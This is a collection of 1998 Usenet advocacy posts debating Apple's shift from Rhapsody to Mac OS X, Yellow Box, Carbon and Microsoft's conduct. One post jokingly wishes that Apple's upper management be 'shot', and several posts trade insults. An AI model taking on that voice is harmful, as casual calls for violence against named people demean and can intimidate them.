Not a long term solution (and Apple is certainly aware of, uhm,
alternative approaches), but a nice workaround for the time being.
Rgds, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac owners?)
Date: 13 May 1998 09:55:21 GMT
Organization: P & L Systems
Message-ID: <6jbqm9$1cc$11@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <6j9mjv$r3j$1@reader1.reader.news.ozemail.net>
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In <3558D5DA.D65392B1@milestonerdl.com> M Rassbach wrote:
> Guess what? Apple is in the business to make money...and if that means a
> $10-$50 charge, then that's the way it is. They dumped the Newton, charged
> for quicktime, etc la. Time for the OpenSTEPpers to roll over and get
> their lumps.
>
I guess you think this is some sort of snide comment, and that you're somehow
offending OPENSTEP developers here...
Tough. We're used to licensing costs an order of magnitude greater than
those APple is now proposing. It is *very* disappointing that they won't be
reduced to zero, however it's by no means apocalyptic.
[...]
> Well, anyone who was excited over YellowBox cross-compatibilty and was
> believing "YellowBox is the future of MacOS" is feeling like a Newton
> Developer right now.
>
Not at all, I fail entirely to understand how you come to this conclusion --
it is becoming increasingly obvious that YellowBox is the Way of the future.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 13 May 1998 10:37:33 GMT
Organization: P & L Systems
Message-ID: <6jbt5d$1cc$16@ironhorse.plsys.co.uk>
References: <6j9gam$1cc$8@ironhorse.plsys.co.uk> <B17DBA51-CA75@206.165.43.129>
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In <B17DBA51-CA75@206.165.43.129> "Lawson English" wrote:
> GX was an experiment that failed.
>
> The fact that NeXT developers have a vested interest in seeing it fail also
> (so that DPS can thrive) merely makes it worse.
>
This is offensive -- you are making claims which are simply untrue.
Not exactly unknown for you, however usually you're referring to technology
not people.
We do not have a vested interest in seeing it fail. People have said
repeatedly that it would be great if some aspects of GX technology would
survive. The pro-DPS argument is largely pragmatic -- it's there, it works,
don't break it. If GX could be offered as well for anyone who wants it, I'm
sure that would be fine. Except that it would take time and resources, and
there isn't exactly a groundswell of support for it, and from an OO
perspective from your descriptions it sounds as if it could be done better.
Pragmatic considerations then have consigned it to the dustbin.
GX is dead. Why not shut up about it and go and do something useful?
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 13 May 1998 10:40:23 GMT
Organization: P & L Systems
Message-ID: <6jbtan$1cc$17@ironhorse.plsys.co.uk>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26>
<slrn6lfd10.2id.jason@jhste1.dyn.ml.org> <6j9ge5$1cc$9@ironhorse.plsys.co.uk>
<35585A43.19F86C67@nstar.net>
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Cc: mjpeck@nstar.net
In <35585A43.19F86C67@nstar.net> Michael Peck wrote:
> mmalcolm crawford wrote:
>
> > Oh, Lawson's right, I'm sure. What he deserves flaming for is that he is
> > himself one of the myopic developers/end-users who has required Apple to
do
> > this.
>
> How do you figure? I can only see that if you claim that Apple's
> struggle is "NeXT versus MacOS", in which case, yep, MacOS won.
>
Umm, how do you reach this conclusion?
MacOS has not won. Rhapsody and MacOS have both won.
But in a more long-winded and resource-draining way than might have been the
case had Mac users and developers rallied round YellowBox and the original
Rhapsody plan in the furst place.
mmalc.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: WWDC according to New York Times
Date: Wed, 13 May 1998 05:19:32 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355973B4.E5AAEC1B@milestonerdl.com>
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<IfW51.1190$0A3.5351018@news.itd.umich.edu> <35588E5A.5E27@CONVEX.COM> <Kw561.1959$sy4.3591358@news.rdc1.sdca.home.com>
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> In <35588E5A.5E27@CONVEX.COM> Michael Peck wrote:
> > not@my.address.net wrote:
> >
> > [cut]
> >
> > > Does the New York Times know the difference between an operating system
> and an
> > > API? What part of Rhapsody does the New York Times think won't be part of
> > > MacOSX? The Mach kernel? The Java VM? The YellowBox API's? ... or is
> it the
> > > only the name "Rhapsody"?
> >
> > This is one of the worst failings of Jobs' PR machine. The public
> > understands computers as "things". They can even understand the concept
> > of software, but they understand it as a bunch of "things" as well. They
> > know software in terms of "operating system" and "applications", and
> > sometimes can be made to understand "technologies", but always only as
> > "things".
> >
> > Apple has always talked about software and technology in terms of
> > things. There were the QuickTime thing, the QuickDraw GX thing, the
> > Newton thing, and the GameSprockets thing. It's impossible to stay
> > current on the nuances of all software technologies even if you try, and
> > most don't try, so this nomenclature of discreet "things" works for
> > almost everyone who uses it, including Microsoft and Apple.
> >
> > Unfortunately, one of the worst effects of Jobs' secrecy campaign has
> > been to muddy the verbiage with almost no sense of defining borders
> > around "things". There was a Rhapsody thing, and there was a Blue Box
> > thing (wonderful execution, there). But from there, it just got bad and
> > worse. What was the Yellow Box thing? Most people had no idea. What
> > things were in Rhapsody to make it useful? Most people had nothing to
> > cling to.
> >
> > Now it's at its worst. What is the MacOS X thing? What is in it? What
> > things will it have? We know of the Carbon thing (excellent), but what
> > else do we know? Of course we know much more, but I dare you to explain
> > it to your neighbor.
> >
> > Microsoft's whole IE problem is tied up in the definition of "things".
> > What is the IE thing, exactly? At what point does it end and the Windows
> > "thing" begin? Failing to define its terms has been Microsoft's worst
> > mistake in the whole affair.
> >
> > Jobs would do well to learn this lesson quickly. The faster Apple can
> > begin promising discreet "things" and shipping them to actual people,
> > the faster the media will convince itself that Apple is turning around
> > and busting things up. Unfortunately, I can't see anything in the
> > pipeline to fulfill that: Rhapsody is already being considered a "dead
> > thing" and any enthusiasm the press might've had for the Allegro thing
> > has already been co-opted by the MacOS X thing.
"Rex" is right.... Mr. Peck's comments are accurate. Rhapsody is an envelope
containing:
OpenSTEP - the OS
OpenSTEP - the API (Now yellowbox)
and a few NEW things
If I say 'this is blue', others have a good idea of what I'm speaking of.
If I say 'rhapsody' am I speaking of the think that was going to be the MacOS
replacement, the thing that is going to run alongside MacOS, the API's known as
Yellowbox? Some other thing?
The 'benifit' to Apple with this vagueness is when Apple fails to deliver, they
can say it was bigger/harder than thought. And, if Apple delivers something like
the vague-thing, they can declare victory. http://www.turnleft.com/apple/ is
an example.
From: holger@object-factory.REMOVETHIS.com (Holger Hoffstaette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
Date: 13 May 1998 10:55:24 GMT
Organization: the unstoppable code machine
Message-ID: <6jbu6s$nd$1@leonie.object-factory.com>
References: <6ja5o4$k4$1@news.idiom.com> <B17DFB11-30D936@204.210.19.214>
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Matthew Vaughan wrote:
> Yes. As far as I can tell, OS X is just Rhapsody (including Blue and
> Yellow boxes) with the addition of the new Carbon framework (based on
> Latitude? - I don't know much about this but that's what it sounds like).
> It probalby won't ship with the BSD environment, but that's about it.
Carbon is *not* based on Latitude. My initial reaction after hearing
details was that it's the already-ported Toolbox parts of the QT layer,
cleaned up. This was confirmed by Jordan Dea-Matteson (sp?) on the
rhapsody-talk mailing list. Of course what was NOT explained or mentioned
is how the layers interact, i.e. is Carbon a wrapper around YB calls
(possible, but doubtful), is the 'new YB' an OO wrapper around the
procedural Carbon layer (<BLINK>BAD IDEA</BLINK>) or are both layered
on a portable, as of yet unnamed core layer? If so, why the hell is
Apple unable to say so?
The BSD/UNIX layer question has been 'answered' conflictingly, so unless
someone shows me an actual system, I can't even believe what Apple
employees say (with the exceptions of Mike, Mark etc.)
When I see Phil 'Clueless' Schiller running rampage, publicly
bullshitting about things he doesn't understand, I can only come to
the conclusion that their upper management should be downsized some
more. Or just shot. As a shareholder, I'd actually prefer the
second solution.
over & out for now
Holger
--
Object Architect, Object Factory GmbH | It's like a jungle sometimes,
@work: holger"at"object-factory.com | it makes me wonder
@home: hhoff"at"ragnarok.en.uunet.de | how I keep from going under
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Wed, 13 May 1998 05:53:12 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35597B98.E031BF17@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com> <3559173D.1A44DBFA@unet.univie.ac.at>
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Christian Benesch wrote:
> Try www.stepwise.com for latest updates.
> "YB is alive and well"
> I tend to believe them.(for my mental sanity)
Stepwise is a very pro-NeXTSTEP/OpenSTEP site.
And if the cross-platform aspect is gone, I think of YellowBox is dead.
From: terjery@ifi.ntnu.no (Terje Rydland)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Wed, 13 May 1998 14:02:58 +0200
Organization: NTNU
Message-ID: <terjery-1305981402580001@apix.ifi.ntnu.no>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <35597958.2ED785AD@milestonerdl.com>
In article <35597958.2ED785AD@milestonerdl.com>, mark@milestonerdl.com wrote:
> Christian Benesch wrote:
>
> > Is there really such a Unix-phobia in the Mac-community?
>
> Yup. There is. They are 'comfortable' with 'MacOS'
No, there isn't. It's just that UNIX and MacOS are made for different
markets. MacOS is made for those who prefer "personal" computing with as
little hassle as possible, while UNIX is primarily a server OS with an
appeal to computer "geeks". It has nothing to do with phobia og
intelligence or whaterver. It is called "using the best tool for the job".
For what I do it is a Mac. For our network backbone it is UNIX.
It's as easy as that.
Terje
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 13 May 1998 14:12:38 +0200
Organization: The Computer Society at Lund
Message-ID: <6jc2nm$a49$1@bartlet.df.lth.se>
References: <6il7fp$smu$1@news.digifix.com> <B173DA2F-4EC79@207.217.155.139> <joe.ragosta-0505980801340001@wil129.dol.net> <355876CC.F3A3A297@Eng.Sun.COM>
NNTP-Posting-User: cb
In article <355876CC.F3A3A297@Eng.Sun.COM>,
JOHN LEE <john.s.lee@Eng.Sun.COM> wrote:
>Joe Ragosta wrote:
>>
>> In article <B173DA2F-4EC79@207.217.155.139>, "Brad Hutchings"
>> <brad@hutchings-software.com> wrote:
>>
>> > Scott Anguish wrote:
>> >
>> > > Oh, BTW.. we have SuperClock too... well, MenuClock... and as
>> > >far as ControlStrip goes... should you really have to access that that
>> > >often? Nope..
>> >
>> > Get used to the control strip. Because if Rhapsody ever goes mainstream, it
>> > will have a control strip, along with all the other HI bells and whistles
>> > Mac users expect. And they'll be just like the Mac HI that so many NeXT
>> > refugees seem to despise. Otherwise Mac users won't bother with it.
>> > ROTFLMAO.
>>
>> Of course, it never occurred to you that Apple could avoid this problem by:
>>
>> 1. Offering multiple UIs (ever hear of "Themes"?).
>>
>> or
>>
>> 2. Choosing the best of each OS.
>>
>> But thinking before posting might reduce the number of anti-Apple flames
>> you throw around, so you'd never do that.
>>
>> --
>> Regards,
>> Joe Ragosta
>> http://www.dol.net/~Ragosta/complmac.htm
>
>
>Rhapsody will NEVER go mainstream, it is cancelled. Just like I said
>months ago it would be!
You didn't see the keynote then, when Steve announced that Rhapsody
Customer Release 1 would be released in Q3 1998 - ie, within less than 5
months ?
To reiterate:
* Rhapsody DR2 is in the hands of developers at WWDC.
* Rhapsody CR1 will ship in Q3 1998
Ie, Rhapsody has _not_ been cancelled in any way.
Hence, you are not, as you claim, right, but rather wrong.
>I love being right...love it, love it, love it.
Or rather, you would if you were ....
>
>--
>Thanks,
>John
>x53253
// Christian Brunschen
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Wed, 13 May 1998 06:34:25 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35598540.E4C37882@milestonerdl.com>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <35597958.2ED785AD@milestonerdl.com> <terjery-1305981402580001@apix.ifi.ntnu.no>
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Terje Rydland wrote:
> In article <35597958.2ED785AD@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> > Christian Benesch wrote:
> >
> > > Is there really such a Unix-phobia in the Mac-community?
> >
> > Yup. There is. They are 'comfortable' with 'MacOS'
>
> No, there isn't.
Yes there is.
> It's just that UNIX and MacOS are made for different
> markets. MacOS is made for those who prefer "personal" computing with as
> little hassle as possible, while UNIX is primarily a server OS with an
> appeal to computer "geeks". It has nothing to do with phobia og
> intelligence or whaterver. It is called "using the best tool for the job".
> For what I do it is a Mac. For our network backbone it is UNIX.
You seem to be forgetting that the PLAN was (at one time) to take Unix and graft
the Macintosh experience on top. That was fought. And fought, and fought.
Till you have the carbon plan.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 12:29:19 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jc3mv$kfu$1@nnrp1.dejanews.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com> <6ja6ji$k4$3@news.idiom.com> <355b6dda.12226593@198.0.0.100>
nhughes@sunflower.com wrote:
> >MacOS X is the same OS they were calling Rhapsody two days ago, and
> >that's a Good Thing. The MacOS is way past its prime.
>
> So you are saying for sure that macos10 will be cross platform and
> applications written for it's principle API will only require a
> recompile to work on 90% of computers? Those are Rhapsody's strongest
> points when it comes to keeping apple relevant.
If by "principal API" you mean yellowbox, then yes, that will be
cross-platform as planned all along. See Scott Anguish's summary of the WWDC
session on "Yellow Box: Developing for Windows"
(http://www.stepwise.com/SpecialCoverage/WWDC98/Tuesday-Windows.html)
Stefano Pagiola
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 12:39:18 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jc49m$lbi$1@nnrp1.dejanews.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com> <6ja6ji$k4$3@news.idiom.com> <355b6dda.12226593@198.0.0.100> <see-below-1205981702280001@209.24.240.213>
Matthew Vaughan wrote:
> > So you are saying for sure that macos10 will be cross platform and
> > applications written for it's principle API will only require a
> > recompile to work on 90% of computers?
>
> So long as Yellow Box is still available, yes. And nobody is talking about
> abandoning YB. (Carbon just replaces Blue Box)
You're right about Yellow Box. But as I understand it, Carbon doesn't
_replace_ Blue Box, it _supplements_ it. Mac apps that have been "tuned" run
outside the Blue Box, side by side with Yellow Box apps, and enjoy the
advantages of protected memory, pre-emptive multitasking etc; Mac apps that
haven't been tuned run inside the Blue Box, as previously planned, and retain
all the limitations of current Mac apps (no protected memory etc).
Stefano Pagiola
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Why not Carbon/Intel?
Date: Wed, 13 May 98 08:24:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8EF01F8.09B600726B.uuout@relaynet.org>
References: <8EEF451.09B60071D7.uuout@relaynet.org>
Aside from snide, anti-Apple/Rhapsody asides, no one replied to this
question. Strange.
SG > Why is Apple not considering implementing Carbon on top
SG > of Rhapsody/Intel?
SG >
SG > To do so makes the possibility that Carbon-clean apps
SG > could be ported to Rhapsody/Intel, yes?
SG >
SG > To not do this seems to doom Rhapsody/Intel's continued
SG > viability and support (given Apple's statements that
SG > Rhapsody is a stepping stone to MacOS X), no?
SG >
SG > Could someone clear this up? Or is it possible that a
SG > clear answer is not yet forthcoming?
From: Jeff Read <jread@stevens-tech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 13 May 1998 09:16:43 +0000
Organization: Not really
Message-ID: <355964FB.FE186A3B@stevens-tech.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com> <rmcassid-0905981831450001@dialin9013.slip.uci.edu> <6j4gep$l28$1@nnrp1.dejanews.com> <rmcassid-1105981238190001@dante.eng.uci.edu> <6j8cet$fgg$1@nnrp1.dejanews.com> <rmcassid-1205980106390001@dialin33418.slip.uci.edu>
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Robert Cassidy wrote:
> But MS can counter that by destroying the
> notion of a browser in lieu of an OS technology, which Netscape can't
> touch by not having an OS.
Linux has quickly become the adopted son of Netscape, Corel, and anyone
else who wanted to kick Microsoft in the nuts.
I for one am glad to see it happen... but I was hoping it would happen
sooner!
--
----------------------------------------------------------------------
Jeff Read <bitwize@geocities.com>/ http://genpc.home.ml.org
Unix / Linux / Windows Hacker, / Boycott Microsoft!
Anime & Sonic Fan, / Use Linux/GNU!
All Around Nice Guy / Let's keep the Net and the Land FREE!
----------------------------------------------------------------------
From: "scott hand" <vidahand@mail.doh!.earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac
owners?)
Date: 13 May 98 01:00:40 -0400
Organization: EarthLink Network, Inc.
Message-ID: <B17EA13E-22584@208.254.113.242>
References: <3558D5DA.D65392B1@milestonerdl.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.earthlink.net/comp.sys.next.advocacy
On Tue, May 12, 1998 7:06 PM, M Rassbach <mailto:mark@milestonerdl.com>
wrote:
>> If Rhapsody 1.0 is simply to say hey we gave you
>> what we promised and now we will be moving on to other things (i.e.
>> no development/support for YB on 95/NT, and faultering support for
>> Intel in general - not precluding dropping of crossplatform support
>> in MacOS X - (PPC ONLY??? big mistake if so)) then we will have
>> some very serious problems..
>
>Well, one can hope if the whining MacOS only crowd has been heard from,
>perhaps the !G3-MacOS X and YellowBox on many platforms will be heard
from.
>
But if Carbon is simply a way of putting existing MacOS API's on Mach, and
Mach/Intel already exists, then cross-platform is already there, no? I'm
wondering if the requirement of all PPC code is simply to allow the "stick
it on Mach" technology to have something clean and predictable to work
with. There would seem to be a contradiction here, but I'm sure the answer
will turn up soon...I hope.
scott
----------------------------------------------------------------
Cyberdog -- yet another cancelled technology from Apple Computer
----------------------------------------------------------------
From: craig@mpv.com (Craig Halley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Macos rumors quote
Date: Wed, 13 May 1998 05:11:35 GMT
Organization: MPV, Inc.
Message-ID: <6jba3v$sbu$1@nnrp1>
References: <6jb6bs$nag$1@newsfep4.sprintmail.com>
>Tron: Well, Steve touched on that yesterday. Rhapsody 1.0 (aka CR1) ships
>sometime this fall, and then all the Next'ers move to the X effort. Rhapsody
>just didn't make sense for us. It was good technology, but it wasn't Apple,
>and making it Apple-ified would have taken a heck of a lot longer than OS X
>is going to take. I think that Sark has more to say about the YB....
If I remember correctly, what Steve said was more like this: "Rhapsody is good
technology, great technology, but it didn't go far enough. So we're going to
take it farther."
Just the fact that Mac OS X will be based on Mach, with Terminal.app if you
want it, is enough proof for me. Hooray for the command line :). I don't
know if the Mach thing is first release or what, but that was definitely part
of the "Rhapsody and Yellow Box in 1998" presentation that's available on the
Apple WebTheater.
I think the change is pretty simple. Instead of integrating Mac OS into
Rhapsody as announced last year, they're going to integrate Rhapsody into the
Mac OS. Pretty subtle... not that big of a deal for the NeXT people, since
Yellow Box doesn't change, but it's a bit easier for the original Mac
people, who don't have to go the Yellow API's right away.
Also, the "box" of the Blue Box will be going away, so you'll be able to run
Rhapsody apps, current Mac apps, and Carbon-based Mac apps all under Mac OS X,
without any emulation or virtual environments. Sounds good to me!
Craig Halley
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Tue, 12 May 1998 23:06:31 -0700
Message-ID: <see-below-1205982306310001@209.24.240.140>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <6jb842$34i$1@crib.bevc.blacksburg.va.us>
In article <6jb842$34i$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <6javob$tpe$1@reader1.reader.news.ozemail.net>, "Greg
Alexander" <galexand@ozemail.com.au> wrote:
>
> > * YB won't run on MacOS 8
>
> Is that now, or never? I haven't heard announcements in that regard.
>
> > * YB Runtime for Windows will cost ~$20
>
> :(
>
> > * Many mac developers will go Carbon short term - so less YB apps.
> > (but a lot more apps for PPC Rhapsody/X)
>
> I don't think this means any less YB apps than before, actually.
> Perhaps more, as YB will be "native" on OS X (even though Carbon is
> also native). Thus, whether or not they're using that or Rhapsody, YB
> will be readily and prominently availble to them.
I was just thinking about this, too. At first, we'll probably mostly have
existing Next developers doing YB apps, while the Mac developers mostly
stick to Carbon. But I think once this all gets out in the marketplace
that will change. When TIFFany is competing with Photoshop, and Stone's
graphics program (help-name?) is competing with Illustrator, etc., and
everyone can see how powerful this is, the _competition_ may prompt more
developers to use Yellow Box than anything Apple could do.
> > All that can be said for sure is that current Mac developers just found
> > a way to get their programs running reasonably on the new OS.
> > Will MacOS X dumb down Rhapsody? or is it simply adding
> > new functionality?
>
> That is indeed the question. All of my questions _still_ haven't been
> answered..
Yes. What is Carbon sitting on top of? Does it interact with Yellow Box at
all? Other than Mach, will the unix portions of the system still exist?
(and is that a good/bad thing?) Will there be any further seperate
Rhapsody releases aside from OSX? What is the strategy for Yellow Box,
other than just sitting there as a developer option? What about Intel?
Other platforms?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Macos rumors quote
Date: Tue, 12 May 1998 23:12:51 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d8xtgy.nhbnkgr2hlp0N@cetus181.wco.com>
References: <6jb6bs$nag$1@newsfep4.sprintmail.com>
<macghod@concentric.net> wrote:
> I was disturbed by this quote on macos rumors. Of course since the apple
> employees (on irc) are not identified, I guess it could just be BS?
It's BS. And how do you verify that a random IRC yakkerr is an Apple
Employee? Sniff for IP addresses of the form 17.*.*.*?
--
Mike Paquette mpaque@wco.com
"Troubled Apple Computer" and the "Troubled Apple" logo are trade and
service marks of Apple Computer, Inc.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 23:01:47 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35591B2B.CABD4601@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2>
<ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net>
<bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com>
<ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com>
<see-below-1205981903320001@209.24.240.213> <3559033D.89CD88D5@milestonerdl.com> <2s961.2078$sy4.3718097@news.rdc1.sdca.home.com>
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Rex Riley wrote:
> I've learned abit in the last 4 hours on Apple's software strategy. The
> product roadmap changes are healthier. I'll share my reasons:
Care to share if you have an answer to:
What cross-platforms beyond MacOS/NT4/Win95 are supported with YellowBox?
And, does the Intel version of Rhapsody OS have a future?
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Wed, 13 May 1998 00:59:08 -0500
Organization: Prairie Group
Message-ID: <MPG.fc2f2aa23bbd9139896ba@news.supernews.com>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com> <MPG.fbe7482b277f658989694@news.supernews.com> <2rs51.1084$sy4.1591596@news.rdc1.sdca.home.com> <MPG.fc037b16e250e8598969e@news.supernews.com> <OzK51.1301$sy4.2902885@news.rdc1.sdca.home.com> <MPG.fc155c57791d10b9896a5@news.supernews.com> <_iP51.1533$sy4.3061975@news.rdc1.sdca.home.com> <MPG.fc18603ab61a8e79896b1@news.supernews.com> <AMQ51.1548$sy4.3106442@news.rdc1.sdca.home.com> <MPG.fc2147982b79c019896b5@news.supernews.com> <VdZ51.1915$sy4.3304669@news.rdc1.sdca.home.com> <MPG.fc29cec1eb38e8b9896b7@news.supernews.com> <8z661.2026$sy4.3627611@news.rdc1.sdca.home.com>
In article <8z661.2026$sy4.3627611@news.rdc1.sdca.home.com>,
rriley@yahoo.com says...
> In <MPG.fc29cec1eb38e8b9896b7@news.supernews.com> Donald Brown wrote:
> > In article <VdZ51.1915$sy4.3304669@news.rdc1.sdca.home.com>,
> > rriley@yahoo.com says...
> > > In <MPG.fc2147982b79c019896b5@news.supernews.com> Donald Brown wrote:
> > > > And, say what? "A healthy third party software community wouldn't
> choose
> > > > competing"???? What would they do?
> > > >
> > > >
> > >
> > > My Developer Agreements are alliances and partnerships. Competing against
> the
> > > General Partner would be counter-productive. But maybe that is the way it
> > > is...
> > >
> > >
> > You're still losing me.
> >
>
> You have a detrimental reliance upon a partner/alliance for infrastructure or
> services to compliment your application offerings. In the application
> specific case, you benefit from Microsoft OS being there. Microsoft benefits
> by you being there to handle "innovative" and "specialized" needs in their
> marketplace. This symbiotic relationship serves the interest of all parties.
Yeah, but they also want to sell Word and Office and other apps. Part of
MS is my partner, and part is my competitor.
> > Acme Inc. over there wants to have its people talk together and has the
> > money to pay for it. I want that money. Bill Gates wants that money.
> > What's the alternative to competition?
> Acme Inc. must be a industry consortium or require some legally mandated
> protocol. MS would/should be interested in a paying customer for any
> enhancements to its communication layer benefiting the rest of its users. The
> money is tangential.
Nope, Acme is a 35 user company that wants a shrink-wrapped solution that
makes their people able to quickly communicate with each other. Acme
doesn't give a damn how it works, they just want a solution that does
work.
I've got my solution, and I'm using a protocol that I came up with, that
IMHO is pretty good. I do not want to wait for some industry consortium
to approve my protocol before I can make the sale to Acme (making them
happy with their problem solved and making me happy because I've got the
money). And I sure as hell don't want to use some legally mandated
protocol if I choose not to.
> If you are chasing the money... this presents boundary issues which puts you
> in the position of acting as MS. The question then becomes "Why is it in the
> customer's best interest to have you steward the protocol and not the OS
> manufacturer?
It's in the customer's best interests because I can move quickly to meet
their needs. It's also in the customer's best interest that I own and
make money from the protocol I developed, or I might not have developed
it.
> > If Bill Gates uses his control of the desktop so his Application group
> > has an advantage over my Application group, that's anti-trust and should
> > be punished accordingly.
>
> Not necessarily... in the example above, expect MS to be in the position to
> implement based upon intimate and proprietary knowledge of the OS. You would
> contractually have no right or recourse to the OS source. I don't know of any
> other circumstance which would "advantage" MS, but I'm clean on MS products.
Actually, there's supposedly a wall between the OS and App folk over
there, where the App programmers work with the same info I'm supposed to
have access to. It's widely believed this promise is broken, but that's
what's claimed to be true.
Other ways MS could cheat are: make changes to the next version
specifically to break my product. Force cloners not to bundle my
software with their computers or risk losing their license to distribute
Win 95/98. Use the copy of the app I submit for logo verification, to
get a head start on competing (and hold up that verification until
they're ready).
> > But, if the Application group is just competing
> > with their own products, Bill has as much right to Acme's money as I do.
> Ah, if it's just an existing product like Word, I agree. If you are extending
> a MS product for hire, that's a boundary I wouldn't cross for customer's sake.
If I'm extending an MS product for hire, working for MS, no way I would
try to resell it. If I'm extending an MS product for hire, working for
the customer, and if my agreement with the customer lets me resell the
result of my work, I'll sell my improvements as an add-on package with a
clear conscience.
But, the case I'm talking about, is where I have a new product. Uses IP
protocols to communicate, but layers those low-level protocols into a new
higher-level protocol. I can do it, I can sell it. AND I do so knowing
